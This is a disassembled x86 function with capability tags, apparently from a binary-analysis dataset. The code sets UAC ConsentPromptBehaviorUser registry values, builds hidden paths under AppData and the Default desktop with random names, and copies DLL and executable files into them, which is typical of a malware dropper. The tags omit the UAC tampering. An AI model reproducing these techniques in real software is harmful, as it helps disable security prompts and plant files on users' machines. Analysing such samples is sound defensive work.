Function at 0x100011c0
Capabilities:
Get common file path
Get program files directory
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1e0c
call fcn.1000d500
mov eax, dword [0x10015040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
push 0x10012da0
mov edx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov ecx, 0x80000002
call fcn.10001170
push 0
push str.ConsentPromptBehaviorUser
mov edx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov ecx, 0x80000002
call fcn.10001170
push 1
push str.ConsentPromptBehaviorUser
mov edx, str.SOFTWARE
mov ecx, 0x80000001
call fcn.10001170
movups xmm0, xmmword [str.CSIDL_APPDATA]
mov eax, dword [0x10012eac]
push 0x1ec
mov dword [ebp - 0x1f4], eax
lea eax, [ebp - 0x1f0]
movups xmmword [ebp - 0x20c], xmm0
push 0
movq xmm0, qword [0x10012ea4]
push eax
movq qword [ebp - 0x1fc], xmm0
call fcn.10002e60
add esp, 0x24
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
push 0x26
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x20c]
push 0x10012d9c
push eax
call edi
movups xmm0, xmmword [str.C:UsersDefaultDesktop_]
mov esi, dword [0x10012ee0]
lea eax, [ebp - 0x7f0]
push 0x1d4
movups xmmword [ebp - 0x824], xmm0
push 0
movups xmm0, xmmword [0x10012ec0]
push eax
mov dword [ebp - 0x7f4], esi
movups xmmword [ebp - 0x814], xmm0
movups xmm0, xmmword [0x10012ed0]
movups xmmword [ebp - 0x804], xmm0
call fcn.10002e60
movups xmm0, xmmword [str.C:UsersDefaultDesktop_]
push 0x1d4
lea eax, [ebp - 0xc00]
mov dword [ebp - 0xc04], esi
movups xmmword [ebp - 0xc34], xmm0
push 0
movups xmm0, xmmword [0x10012ec0]
push eax
movups xmmword [ebp - 0xc24], xmm0
movups xmm0, xmmword [0x10012ed0]
movups xmmword [ebp - 0xc14], xmm0
call fcn.10002e60
movups xmm0, xmmword [str.C:UsersDefaultDesktop_]
push 0x1d4
lea eax, [ebp - 0xe08]
mov dword [ebp - 0xe0c], esi
movups xmmword [ebp - 0xe3c], xmm0
push 0
movups xmm0, xmmword [0x10012ec0]
push eax
movups xmmword [ebp - 0xe2c], xmm0
movups xmm0, xmmword [0x10012ed0]
movups xmmword [ebp - 0xe1c], xmm0
call fcn.10002e60
movups xmm0, xmmword [str.C:UsersDefaultDesktop_]
movups xmmword [ebp - 0x61c], xmm0
movups xmm0, xmmword [0x10012ec0]
movups xmmword [ebp - 0x60c], xmm0
push 0x1d4
movups xmm0, xmmword [0x10012ed0]
lea eax, [ebp - 0x5e8]
mov dword [ebp - 0x5ec], esi
push 0
push eax
movups xmmword [ebp - 0x5fc], xmm0
call fcn.10002e60
movups xmm0, xmmword [str.C:UsersDefaultDesktop_]
push 0x1d4
lea eax, [ebp - 0x9f8]
mov dword [ebp - 0x9fc], esi
movups xmmword [ebp - 0xa2c], xmm0
push 0
movups xmm0, xmmword [0x10012ec0]
push eax
movups xmmword [ebp - 0xa1c], xmm0
movups xmm0, xmmword [0x10012ed0]
movups xmmword [ebp - 0xa0c], xmm0
call fcn.10002e60
movups xmm0, xmmword [str.C:UsersDefaultDesktop_]
push 0x1d4
lea eax, [ebp - 0x3e0]
mov dword [ebp - 0x3e4], esi
movups xmmword [ebp - 0x414], xmm0
push 0
movups xmm0, xmmword [0x10012ec0]
push eax
movups xmmword [ebp - 0x404], xmm0
movups xmm0, xmmword [0x10012ed0]
movups xmmword [ebp - 0x3f4], xmm0
call fcn.10002e60
movups xmm0, xmmword [str.WUSWXNPFAJnP]
mov eax, dword [0x10012f14]
add esp, 0x48
mov dword [ebp - 0x15dc], eax
mov ax, word [0x10012f18]
movups xmmword [ebp - 0x160c], xmm0
push 0x79a
movups xmm0, xmmword [0x10012ef4]
mov word [ebp - 0x15d8], ax
lea eax, [ebp - 0x15d6]
push 0
movups xmmword [ebp - 0x15fc], xmm0
push eax
movups xmm0, xmmword [0x10012f04]
movups xmmword [ebp - 0x15ec], xmm0
call fcn.10002e60
lea eax, [ebp - 0x160c]
push eax
call fcn.10004a36
add esp, 0x10
lea edx, [ebp - 0x20c]
lea ecx, [ebp - 0x824]
call fcn.10001660
lea edx, [ebp - 0x20c]
lea ecx, [ebp - 0xc34]
call fcn.10001660
lea edx, [ebp - 0x20c]
lea ecx, [ebp - 0xe3c]
call fcn.10001660
lea edx, [ebp - 0x20c]
lea ecx, [ebp - 0x61c]
call fcn.10001660
lea edx, [ebp - 0x20c]
lea ecx, [ebp - 0xa2c]
call fcn.10001660
lea edx, [ebp - 0x20c]
lea ecx, [ebp - 0x414]
call fcn.10001660
lea eax, [ebp - 0x160c]
push eax
lea eax, [ebp - 0x824]
push eax
call edi
lea eax, [ebp - 0x160c]
push eax
lea eax, [ebp - 0xc34]
push eax
call edi
lea eax, [ebp - 0x160c]
push eax
lea eax, [ebp - 0xe3c]
push eax
call edi
lea eax, [ebp - 0x160c]
push eax
lea eax, [ebp - 0x61c]
push eax
call edi
push str.TroPox_E_Plus
lea eax, [ebp - 0x824]
push eax
call edi
push str.TroPox_Z_Plus
lea eax, [ebp - 0xc34]
push eax
call edi
push str.TroPox_B_Plus
lea eax, [ebp - 0xe3c]
push eax
call edi
push str.QKFJSGCGWGRQ
lea eax, [ebp - 0x61c]
push eax
call edi
push 0x7f8
lea eax, [ebp - 0x1e04]
mov dword [ebp - 0x1e0c], 0x740068
push 0
push eax
mov dword [ebp - 0x1e08], 0x72
call fcn.10002e60
add esp, 0xc
lea eax, [ebp - 0x61c]
push eax
push 0x64
lea eax, [ebp - 0x1e0c]
push eax
push str.NULL
push 0x10012fa4
push 0x10012fac
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [ebp - 0x160c]
push eax
lea eax, [ebp - 0x414]
push eax
call edi
push 0x10012d9c
lea eax, [ebp - 0x414]
push eax
call edi
lea eax, [ebp - 0x1e0c]
push eax
lea eax, [ebp - 0x414]
push eax
call edi
push str..exe
lea eax, [ebp - 0x414]
push eax
call edi
lea eax, [ebp - 0x160c]
push eax
lea eax, [ebp - 0xa2c]
push eax
call edi
push str.7z.dll
lea eax, [ebp - 0xa2c]
push eax
call edi
mov edx, str.libjyy.dll
lea ecx, [ebp - 0x824]
call fcn.10001050
lea edx, [ebp - 0xa2c]
lea ecx, [ebp - 0xc34]
call fcn.10001050
lea edx, [ebp - 0x414]
lea ecx, [ebp - 0xe3c]
call fcn.10001050
push 0x457
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call fcn.10004a20
int3